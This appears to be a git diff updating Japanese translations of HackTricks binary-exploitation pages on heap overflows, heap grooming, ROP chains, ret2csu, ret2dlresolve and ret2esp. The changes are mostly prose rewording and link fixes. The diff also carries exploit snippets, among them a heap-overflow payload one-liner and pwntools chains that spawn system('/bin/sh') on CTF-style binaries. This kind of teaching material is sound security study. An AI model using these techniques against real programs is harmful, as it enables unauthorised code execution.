-しかし、ヒープオーバーフローの場合、使用されるメモリは線形ではなく、**割り当てられたチャンクは通常、メモリの別々の位置にあります**(隣接していない)**ビンとゾーン**によってサイズで割り当てが分けられ、**以前に解放されたメモリが新しいチャンクを割り当てる前に使用されるため**です。ヒープオーバーフローに対して脆弱なオブジェクトと衝突するオブジェクトを知るのは**複雑です**。したがって、ヒープオーバーフローが見つかった場合、**オーバーフロー可能なオブジェクトの次にメモリに配置されるようにする信頼できる方法を見つける必要があります**。 +しかし、ヒープオーバーフローの場合、使用されるメモリは線形ではなく、**割り当てられたチャンクは通常メモリの別々の位置にあります**(隣接していない)し、**サイズによって割り当てを分けるためのビンやゾーン**があるため、**以前に解放されたメモリが新しいチャンクを割り当てる前に使用されます**。したがって、ヒープオーバーフローに対して衝突するオブジェクトを知るのは**複雑です**。したがって、ヒープオーバーフローが見つかった場合、**オーバーフロー可能なオブジェクトの隣にメモリ内で目的のオブジェクトを配置する信頼できる方法を見つける必要があります**。 -このために使用される技術の1つが**ヒープグルーミング**で、例えば[**この投稿**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)で説明されています。この投稿では、iOSカーネルでゾーンがメモリを使い果たしたとき、カーネルページによって拡張され、このページが期待されるサイズのチャンクに分割され、順番に使用される方法が説明されています(iOSバージョン9.2まで、その後はこれらのチャンクがランダム化された方法で使用され、攻撃の悪用を困難にします)。 +このために使用される技術の一つが**ヒープグルーミング**で、例えば[**この投稿**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)で説明されています。この投稿では、iOSカーネルでゾーンがメモリを使い果たしたときに、カーネルページによって拡張され、このページが期待されるサイズのチャンクに分割され、順番に使用される方法が説明されています(iOSバージョン9.2まで、その後はこれらのチャンクがランダム化された方法で使用され、攻撃の悪用を困難にします)。 -したがって、ヒープオーバーフローが発生している前の投稿では、オーバーフローされたオブジェクトが被害者のオブジェクトと衝突するように強制するために、**複数のスレッドによって複数の`kalloc`が強制され、すべての解放されたチャンクが埋められ、新しいページが作成されることを試みます**。 +したがって、ヒープオーバーフローが発生している前の投稿では、オーバーフローしたオブジェクトが被害者のオブジェクトと衝突するように強制するために、**複数のスレッドによって複数の`kalloc`が強制され、すべての空きチャンクが埋められ、新しいページが作成されることを試みます**。 特定のサイズのオブジェクトでこの埋め込みを強制するために、**iOSマッチポートに関連するアウトオブライン割り当て**が理想的な候補です。メッセージのサイズを調整することで、`kalloc`割り当てのサイズを正確に指定でき、対応するマッチポートが破棄されると、対応する割り当ては即座に`kfree`に戻されます。 -その後、これらのプレースホルダーのいくつかを**解放**できます。**`kalloc.4096`のフリーリストは、後入れ先出しの順序で要素を解放します**。これは基本的に、いくつかのプレースホルダーが解放され、攻撃がオーバーフローに脆弱なオブジェクトを割り当てようとする際に、被害者オブジェクトがこのオブジェクトの後に続く可能性が高いことを意味します。 +その後、これらのプレースホルダーのいくつかを**解放**できます。**`kalloc.4096`のフリーリストは、後入れ先出しの順序で要素を解放します**。これは基本的に、いくつかのプレースホルダーが解放され、攻撃がオーバーフローに脆弱なオブジェクトを割り当てようとする際に、被害者オブジェクトがそのオブジェクトの後に続く可能性が高いことを意味します。 ### 例 libc @@ -35,14 +35,14 @@ ### 例 ARM64 -ページ[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)では、実行されるコマンドがオーバーフローしたチャンクの次のチャンクに保存されるヒープオーバーフローの例を見つけることができます。したがって、次のような簡単なエクスプロイトで上書きすることで、実行されるコマンドを変更することが可能です: +ページ[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)では、実行されるコマンドがオーバーフローしたチャンクの次のチャンクに保存されるヒープオーバーフローの例を見つけることができます。したがって、次のような簡単な攻撃を使用して、実行されるコマンドを上書きすることが可能です。 ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` -### 他の例 +### その他の例 - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) - 整数オーバーフローの脆弱性を利用してヒープオーバーフローを引き起こします。 -- オーバーフローしたチャンクの `struct` 内の関数へのポインタを破損させ、`system` のような関数を設定してコード実行を得ます。 +- オーバーフローしたチャンクの`struct`内の関数へのポインタを破損させ、`system`のような関数を設定してコード実行を得ます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 323c2035f..e2c660049 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -10,34 +10,34 @@ 1. **制御フローのハイジャック**: まず、攻撃者はプログラムの制御フローをハイジャックする必要があります。通常はバッファオーバーフローを利用して、スタック上の保存された戻りアドレスを上書きします。 2. **ガジェットの連鎖**: 次に、攻撃者は慎重にガジェットを選択し、目的のアクションを実行するために連鎖させます。これには、関数呼び出しの引数を設定し、関数を呼び出し(例: `system("/bin/sh")`)、必要なクリーンアップや追加の操作を処理することが含まれます。 -3. **ペイロードの実行**: 脆弱な関数が戻ると、正当な場所に戻るのではなく、ガジェットの連鎖を実行し始めます。 +3. **ペイロードの実行**: 脆弱な関数が戻るとき、正当な場所に戻るのではなく、ガジェットの連鎖を実行し始めます。 ### ツール 通常、ガジェットは [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget)、[**ropper**](https://github.com/sashs/Ropper) または **pwntools** から直接見つけることができます ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html))。 -## x86におけるROPチェーンの例 +## x86のROPチェーンの例 ### **x86 (32ビット) 呼び出し規約** - **cdecl**: 呼び出し元がスタックをクリーンアップします。関数引数は逆順(右から左)でスタックにプッシュされます。**引数は右から左にスタックにプッシュされます。** -- **stdcall**: cdeclに似ていますが、呼び出し先がスタックのクリーンアップを担当します。 +- **stdcall**: cdeclに似ていますが、呼び出し先がスタックをクリーンアップする責任を負います。 ### **ガジェットの発見** まず、バイナリまたはそのロードされたライブラリ内で必要なガジェットを特定したと仮定します。私たちが興味を持っているガジェットは次のとおりです: -- `pop eax; ret`: このガジェットはスタックのトップ値を `EAX` レジスタにポップし、その後戻ります。これにより `EAX` を制御できます。 +- `pop eax; ret`: このガジェットはスタックのトップの値を `EAX` レジスタにポップし、その後戻ります。これにより `EAX` を制御できます。 - `pop ebx; ret`: 上記と同様ですが、`EBX` レジスタ用で、`EBX` を制御できるようにします。 - `mov [ebx], eax; ret`: `EAX` の値を `EBX` が指すメモリ位置に移動し、その後戻ります。これはしばしば **write-what-where gadget** と呼ばれます。 - さらに、`system()` 関数のアドレスも利用可能です。 ### **ROPチェーン** -**pwntools** を使用して、次のように `system('/bin/sh')` を実行するためにROPチェーンの実行のためにスタックを準備します。チェーンは次のように始まります: +**pwntools** を使用して、次のように ROPチェーンの実行のためにスタックを準備します。`system('/bin/sh')` を実行することを目指し、チェーンが次のように始まることに注意してください: 1. アライメント目的のための `ret` 命令(オプション) -2. `system` 関数のアドレス(ASLRが無効で、libcが既知であると仮定、詳細は [**Ret2lib**](ret2lib/) を参照) +2. `system` 関数のアドレス(ASLRが無効で、libcが既知であると仮定、詳細は [**Ret2lib**](ret2lib/index.html) を参照) 3. `system()` からの戻りアドレスのプレースホルダー 4. `"/bin/sh"` 文字列のアドレス(system関数のパラメータ) ```python @@ -75,24 +75,24 @@ p.interactive() ``` ## ROP Chain in x64 Example -### **x64 (64-bit) 呼び出し規約** +### **x64 (64-bit) Calling conventions** -- **System V AMD64 ABI** 呼び出し規約を Unix 系システムで使用し、**最初の6つの整数またはポインタ引数はレジスタ `RDI`, `RSI`, `RDX`, `RCX`, `R8`, および `R9` に渡されます**。追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。 -- **Windows x64** 呼び出し規約は最初の4つの整数またはポインタ引数に `RCX`, `RDX`, `R8`, および `R9` を使用し、追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。 +- **System V AMD64 ABI** コール規約を使用し、Unix系システムでは **最初の6つの整数またはポインタ引数がレジスタ `RDI`, `RSI`, `RDX`, `RCX`, `R8`, および `R9` に渡されます**。追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。 +- **Windows x64** コール規約では、最初の4つの整数またはポインタ引数に `RCX`, `RDX`, `R8`, および `R9` を使用し、追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。 - **レジスタ**: 64ビットレジスタには `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, および `R8` から `R15` までが含まれます。 -#### **ガジェットの発見** +#### **Finding Gadgets** -私たちの目的のために、**RDI** レジスタを設定することを可能にするガジェット(**"/bin/sh"** 文字列を **system()** に引数として渡すため)に焦点を当て、次に **system()** 関数を呼び出します。以下のガジェットを特定したと仮定します: +私たちの目的のために、**RDI** レジスタを設定することを可能にするガジェットに焦点を当てましょう(**"/bin/sh"** 文字列を **system()** に引数として渡すため)そしてその後 **system()** 関数を呼び出します。以下のガジェットを特定したと仮定します: -- **pop rdi; ret**: スタックのトップ値を **RDI** にポップし、次に戻ります。**system()** の引数を設定するために不可欠です。 -- **ret**: 単純なリターンで、いくつかのシナリオでスタックの整列に役立ちます。 +- **pop rdi; ret**: スタックのトップ値を **RDI** にポップし、その後戻ります。**system()** の引数を設定するために不可欠です。 +- **ret**: シンプルなリターンで、いくつかのシナリオでスタックの整列に役立ちます。 そして、**system()** 関数のアドレスを知っています。 ### **ROP Chain** -以下は、**pwntools** を使用して **system('/bin/sh')** を **x64** で実行することを目的とした ROP チェーンを設定し、実行する例です: +以下は、**pwntools** を使用して **system('/bin/sh')** を **x64** で実行することを目的とした ROP チェーンを設定し実行する例です: ```python from pwn import * @@ -130,17 +130,17 @@ p.interactive() この例では: - **`pop rdi; ret`** ガジェットを利用して **`RDI`** を **`"/bin/sh"`** のアドレスに設定します。 -- **`RDI`** を設定した後、チェーン内の **system()** のアドレスで **`system()`** に直接ジャンプします。 +- **`RDI`** を設定した後、チェーン内の **system()** のアドレスに直接ジャンプします。 - ターゲット環境が必要とする場合、**`ret_gadget`** がアライメントのために使用されます。これは、関数を呼び出す前に適切なスタックアライメントを確保するために **x64** でより一般的です。 ### スタックアライメント -**x86-64 ABI** は、**call命令** が実行されるときに **スタックが16バイトアライメント** されることを保証します。**LIBC** はパフォーマンスを最適化するために、**SSE命令**(例えば **movaps**)を使用し、このアライメントを必要とします。スタックが正しくアライメントされていない場合(つまり **RSP** が16の倍数でない場合)、**ROPチェーン** での **system** などの関数への呼び出しは失敗します。これを修正するには、ROPチェーンで **system** を呼び出す前に **ret gadget** を追加するだけです。 +**x86-64 ABI** は、**call命令** が実行されるときに **スタックが16バイトアライメント** されることを保証します。**LIBC** はパフォーマンスを最適化するために、**SSE命令**(例えば **movaps**)を使用し、これにはこのアライメントが必要です。スタックが正しくアライメントされていない場合(つまり **RSP** が16の倍数でない場合)、**ROPチェーン** での **system** への呼び出しは失敗します。これを修正するには、ROPチェーンで **system** を呼び出す前に **ret gadget** を追加するだけです。 ## x86とx64の主な違い > [!TIP] -> **x64は最初のいくつかの引数にレジスタを使用するため、** 簡単な関数呼び出しにはx86よりも少ないガジェットを必要とすることが多いですが、レジスタの数が増え、アドレス空間が大きくなるため、適切なガジェットを見つけてチェーンすることはより複雑になる可能性があります。**x64** アーキテクチャのレジスタの数が増え、アドレス空間が大きくなることは、特にリターン指向プログラミング(ROP)の文脈において、エクスプロイト開発にとって機会と課題の両方を提供します。 +> **x64は最初のいくつかの引数にレジスタを使用するため、** 単純な関数呼び出しにはx86よりも少ないガジェットを必要とすることが多いですが、レジスタの数が増え、アドレス空間が大きくなるため、適切なガジェットを見つけてチェーンすることはより複雑になる可能性があります。**x64** アーキテクチャのレジスタの数の増加とアドレス空間の拡大は、特にリターン指向プログラミング(ROP)の文脈において、エクスプロイト開発にとって機会と課題の両方を提供します。 ## ARM64のROPチェーンの例 @@ -154,27 +154,27 @@ p.interactive() ## ROPに対する保護 -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): これらの保護は、ガジェットのアドレスが実行間で変わるため、ROPの使用を困難にします。 -- [**スタックカナリア**](../common-binary-protections-and-bypasses/stack-canaries/): BOFの場合、ROPチェーンを悪用するためにリターンポインタを上書きするためにスタックカナリアをバイパスする必要があります。 -- **ガジェットの不足**: ガジェットが十分でない場合、ROPチェーンを生成することは不可能です。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html):これらの保護は、ガジェットのアドレスが実行間で変わるため、ROPの使用を困難にします。 +- [**スタックカナリア**](../common-binary-protections-and-bypasses/stack-canaries/index.html):BOFの場合、ROPチェーンを悪用するためにリターンポインタを上書きするためにスタックカナリアをバイパスする必要があります。 +- **ガジェットの不足**:十分なガジェットがない場合、ROPチェーンを生成することは不可能です。 ## ROPベースの技術 ROPは任意のコードを実行するための技術に過ぎないことに注意してください。ROPに基づいて多くのRet2XXX技術が開発されました: -- **Ret2lib**: ROPを使用して、任意のパラメータでロードされたライブラリから任意の関数を呼び出します(通常は `system('/bin/sh')` のようなもの)。 +- **Ret2lib**:ROPを使用して、任意のパラメータでロードされたライブラリから任意の関数を呼び出します(通常は `system('/bin/sh')` のようなもの)。 {{#ref}} ret2lib/ {{#endref}} -- **Ret2Syscall**: ROPを使用して、`execve` などのシステムコールを呼び出す準備をし、任意のコマンドを実行させます。 +- **Ret2Syscall**:ROPを使用して、`execve` などのシステムコールを呼び出す準備をし、任意のコマンドを実行させます。 {{#ref}} rop-syscall-execv/ {{#endref}} -- **EBP2Ret & EBPチェイニング**: 最初のものはEIPの代わりにEBPを悪用してフローを制御し、2番目はRet2libに似ていますが、この場合は主にEBPアドレスでフローが制御されます(ただしEIPも制御する必要があります)。 +- **EBP2Ret & EBPチェイニング**:最初のものはEIPの代わりにEBPを悪用してフローを制御し、2番目はRet2libに似ていますが、この場合は主にEBPアドレスでフローが制御されます(ただしEIPも制御する必要があります)。 {{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -184,7 +184,7 @@ rop-syscall-execv/ - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) -- 64ビット、Pieとnxが有効、カナリアなし、`vsyscall` アドレスでRIPを上書きし、スタック内の次のアドレスに戻ることを唯一の目的とする、フラグを漏洩させる関数の一部を取得するための部分的な上書き +- 64ビット、PIEとnxが有効、カナリアなし、`vsyscall` アドレスでRIPを上書きし、スタック内の次のアドレスに戻ることを唯一の目的とする部分的な上書き - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - arm64、ASLRなし、スタックを実行可能にし、スタック内のシェルコードにジャンプするためのROPガジェット diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 3dfb70404..b4aed0d26 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -8,7 +8,7 @@ **ret2csu** は、プログラムを制御しようとする際に、通常使用する **gadgets** を見つけられない場合に使用されるハッキング技術です。 -プログラムが特定のライブラリ(libcなど)を使用している場合、プログラムの異なる部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる、私たちの欠けているgadgetsとして機能する隠れた宝石があります。 +プログラムが特定のライブラリ(libcなど)を使用している場合、異なるプログラムの部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる、私たちの欠けているgadgetsとして機能する隠れた宝石があります。 ### __libc_csu_init の魔法のガジェット @@ -28,14 +28,14 @@ ret; 2. 2番目のシーケンスは、設定した値を使用していくつかのことを行います: - **特定の値を他のレジスタに移動**し、関数のパラメータとして使用できるようにします。 -- **r15とrbxの値を足し合わせ、次にrbxを8倍することによって決定された場所にコールを実行**します。 +- **r15とrbxの値を足し合わせ、rbxを8倍することによって決定された場所にコールを実行**します。 ```armasm mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` -3. もしかしたら、そこに書き込むアドレスを知らないかもしれませんし、**`ret` 命令が必要です**。2番目のガジェットも**`ret` で終わる**ことに注意してくださいが、それに到達するためにはいくつかの**条件**を満たす必要があります: +3. もしかしたら、そこに書き込むアドレスを知らないかもしれませんし、**`ret` 命令が必要です**。2番目のガジェットも**`ret` で終わりますが**、それに到達するためにはいくつかの**条件を満たす必要があります**: ```armasm mov rdx, r15; mov rsi, r14; @@ -50,7 +50,7 @@ ret 条件は次のとおりです: - `[r12 + rbx*8]` は呼び出し可能な関数を格納しているアドレスを指している必要があります(アイデアがなく、PIEがない場合は、単に `_init` 関数を使用できます): -- `_init` が `0x400560` にある場合、GEFを使用してメモリ内のポインタを検索し、`[r12 + rbx*8]` を `_init` へのポインタを持つアドレスにします: +- `_init` が `0x400560` にある場合、GEFを使用してそれへのポインタをメモリ内で検索し、`[r12 + rbx*8]` を `_init` へのポインタを持つアドレスにします: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 @@ -79,12 +79,12 @@ brop-blind-return-oriented-programming.md ### コールを使用する -`write()` のようなシステムコールや関数を呼び出したいが、`rdx` と `rsi` レジスタに特定の値が必要な場合を想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つかりません。 +syscall を行うか、`write()` のような関数を呼び出したいが、`rdx` と `rsi` レジスタに特定の値が必要な場合を想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つかりません。 ここで **ret2csu** が登場します: -1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、r15 に入れます。 -2. **2 番目のガジェットを使用**: これらのレジスタが設定されたら、2 番目のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動させ(それぞれ r14 と r13 から)、関数呼び出しのためのパラメータを準備します。さらに、`r15` と `rbx` を制御することで、計算したアドレスにある関数を呼び出すことができます。 +1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、および r15 に入れます。 +2. **2 番目のガジェットを使用**: これらのレジスタが設定されたら、2 番目のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動させ(それぞれ r14 と r13 から)、関数呼び出しのためのパラメータを準備します。さらに、`r15` と `rbx` を制御することで、計算したアドレスにある関数を呼び出すことができます。そして、そのアドレスを `[r15 + rbx*8]` に配置します。 この技術を使用した[**例とその説明はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)で、これが使用された最終的なエクスプロイトです: ```python @@ -111,11 +111,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` > [!WARNING] -> 前のエクスプロイトは**`RCE`**を行うことを目的としていないことに注意してください。これは、**`win`**という関数を呼び出すことを目的としており(ROPチェーン内でstdinからgetsを呼び出して`win`のアドレスを取得し、それをr15に格納します)、第3引数には値`0xdeadbeefcafed00d`を指定します。 +> 注意してください、前のエクスプロイトは**`RCE`**を行うことを目的としていません。これは、単に**`win`**という関数を呼び出すことを目的としています(ROPチェーン内でstdinからgetsを呼び出して`win`のアドレスを取得し、それをr15に格納します)第三引数として値`0xdeadbeefcafed00d`を持つものです。 ### コールをバイパスしてretに到達する -次のエクスプロイトは、**このページ**から抽出されました(https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html)。ここでは**ret2csu**が使用されていますが、コールを使用する代わりに、**比較をバイパスしてコールの後の`ret`に到達しています**。 +以下のエクスプロイトは、**このページ**から抽出されました[**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) ここでは**ret2csu**が使用されていますが、コールを使用する代わりに、**比較をバイパスしてコールの後の`ret`に到達しています**: ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -167,6 +167,6 @@ target.interactive() ``` ### なぜ直接libcを使用しないのか? -通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、時にはlibc内で直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、`write()`関数は3つのパラメータを必要とし、**これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません**。 +通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html)にも脆弱ですが、時にはlibc内で直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、`write()`関数は3つのパラメータを必要とし、**これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません**。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 3581ef294..d28e7259f 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -4,37 +4,37 @@ ## 基本情報 -[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) および [**Relro**](../common-binary-protections-and-bypasses/relro.md) に関するページで説明されているように、Full Relro がないバイナリは、最初に使用されるときにシンボル(外部ライブラリへのアドレスなど)を解決します。この解決は、**`_dl_runtime_resolve`** 関数を呼び出すことで行われます。 +[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) および [**Relro**](../common-binary-protections-and-bypasses/relro.md) に関するページで説明されているように、Full Relro がないバイナリは、最初に使用されるときにシンボル(外部ライブラリへのアドレスなど)を解決します。この解決は、関数 **`_dl_runtime_resolve`** を呼び出すことで行われます。 **`_dl_runtime_resolve`** 関数は、指定されたシンボルを解決するために必要な構造体への参照をスタックから取得します。 -したがって、要求されたシンボル(例えば **`system`** 関数)を動的にリンクして解決するために、これらの構造体をすべて**偽装する**ことが可能です。そして、構成されたパラメータ(例: **`system('/bin/sh')`**)で呼び出すことができます。 +したがって、要求されたシンボル(例えば **`system`** 関数)を動的にリンクして解決するために、これらの構造体をすべて**偽造する**ことが可能です。そして、構成されたパラメータ(例: **`system('/bin/sh')`**)で呼び出すことができます。 -通常、これらの構造体は、書き込み可能なメモリ上で **`read`** を呼び出す**初期ROPチェーンを作成することによって偽装され**、その後、**構造体**と文字列 **`'/bin/sh'`** が渡され、既知の場所に読み込まれます。そして、ROPチェーンは **`_dl_runtime_resolve`** を呼び出すことで続き、偽装された構造体内で **`system`** のアドレスを**解決し**、このアドレスを **`'/bin/sh'`** のアドレスで呼び出します。 +通常、これらの構造体は、書き込み可能なメモリ上で **`read`** を呼び出す**初期ROPチェーン**を作成することで偽造され、その後 **構造体** と文字列 **`'/bin/sh'`** が渡され、既知の場所に読み込まれます。そして、ROPチェーンは **`_dl_runtime_resolve`** を呼び出すことで続き、偽造された構造体内で **`system`** のアドレスを**解決し**、このアドレスを **`'/bin/sh'`** のアドレスで呼び出します。 > [!TIP] -> この技術は、syscallガジェットがない場合([**ret2syscall**](rop-syscall-execv/) や [SROP](srop-sigreturn-oriented-programming/) のような技術を使用するため)や、libcアドレスを漏洩させる方法がない場合に特に有用です。 +> この技術は、syscallガジェットがない場合([**ret2syscall**](rop-syscall-execv/index.html) や [SROP](srop-sigreturn-oriented-programming/index.html) などの技術を使用するため)や、libcアドレスを漏洩させる方法がない場合に特に有用です。 -この技術についての良い説明が動画の後半にあるので、チェックしてください: +この技術についての良い説明がある動画の後半をチェックしてください: {{#ref}} https://youtu.be/ADULSwnQs-s?feature=shared {{#endref}} -また、ステップバイステップの説明については、以下のページを確認してください: +または、ステップバイステップの説明があるこれらのページを確認してください: - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) ## 攻撃の概要 -1. いくつかの場所に偽の構造体を書き込む +1. どこかに偽の構造体を書き込む 2. system の最初の引数を設定する(`$rdi = &'/bin/sh'`) 3. **`_dl_runtime_resolve`** を呼び出すための構造体へのアドレスをスタックに設定する 4. **呼び出す** `_dl_runtime_resolve` -5. **`system`** が解決され、引数として `'/bin/sh'` で呼び出される +5. **`system`** が解決され、`'/bin/sh'` を引数として呼び出される -[**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) から、これが **`ret2dlresolve`** 攻撃の見た目です: +[**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) から、これが **`ret2dlresolve`** 攻撃の様子です: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) @@ -58,7 +58,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) ### 純粋なPwntools -この技術の[**例はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **に非常に良い最終ROPチェーンの説明が含まれていますが、ここに使用された最終的なエクスプロイトがあります:** +この[**技術の例はこちらにあります**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **最終的なROPチェーンの非常に良い説明が含まれています**が、ここに使用された最終的なエクスプロイトがあります: ```python from pwn import * @@ -188,6 +188,6 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) -- 32ビット、relroなし、canaryなし、nx、pieなし、基本的な小さなバッファオーバーフローとリターン。これを悪用するために、bofは`.bss`セクションとより大きなサイズで`read`を再度呼び出すために使用され、そこに`dlresolve`の偽テーブルを格納して`system`をロードし、mainに戻り、最初のbofを再利用してdlresolveを呼び出し、その後`system('/bin/sh')`を実行します。 +- 32ビット、relroなし、canaryなし、nx、pieなし、基本的な小さなバッファオーバーフローとリターン。これを悪用するために、bofは再度`read`を呼び出すために使用され、`.bss`セクションとより大きなサイズを指定して、`dlresolve`の偽テーブルをそこに格納し、`system`をロードし、mainに戻り、最初のbofを再利用してdlresolveを呼び出し、その後`system('/bin/sh')`を呼び出します。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 6879bb08a..acb8b811c 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,13 +4,13 @@ ## **Ret2esp** -**ESP(スタックポインタ)が常にスタックの最上部を指しているため**、この技術はEIP(命令ポインタ)を**`jmp esp`**または**`call esp`**命令のアドレスで置き換えることを含みます。これにより、シェルコードは上書きされたEIPのすぐ後ろに配置されます。`ret`命令が実行されると、ESPは次のアドレスを指し、正確にシェルコードが格納されている場所になります。 +**ESP(スタックポインタ)が常にスタックの最上部を指しているため**、この技術はEIP(命令ポインタ)を**`jmp esp`**または**`call esp`**命令のアドレスで置き換えることを含みます。これにより、シェルコードは上書きされたEIPのすぐ後に配置されます。`ret`命令が実行されると、ESPは次のアドレスを指し、正確にシェルコードが格納されている場所になります。 -**アドレス空間配置のランダム化(ASLR)**がWindowsやLinuxで有効でない場合、共有ライブラリに見つかる`jmp esp`または`call esp`命令を使用することが可能です。しかし、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)が有効な場合、これらの命令を見つけるために脆弱なプログラム自体を調べる必要があるかもしれません(そして、[**PIE**](../common-binary-protections-and-bypasses/pie/)を回避する必要があるかもしれません)。 +**アドレス空間配置のランダム化(ASLR)**がWindowsやLinuxで有効でない場合、共有ライブラリに見つかる`jmp esp`または`call esp`命令を使用することが可能です。しかし、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)が有効な場合、これらの命令を見つけるために脆弱なプログラム自体を調べる必要があるかもしれません(そして、[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)を打破する必要があるかもしれません)。 -さらに、EIPの破損の**後にシェルコードを配置できる**ことは、関数の操作中に実行される`push`や`pop`命令がシェルコードに干渉しないことを保証します。この干渉は、シェルコードが関数のスタックの中間に配置されている場合に発生する可能性があります。 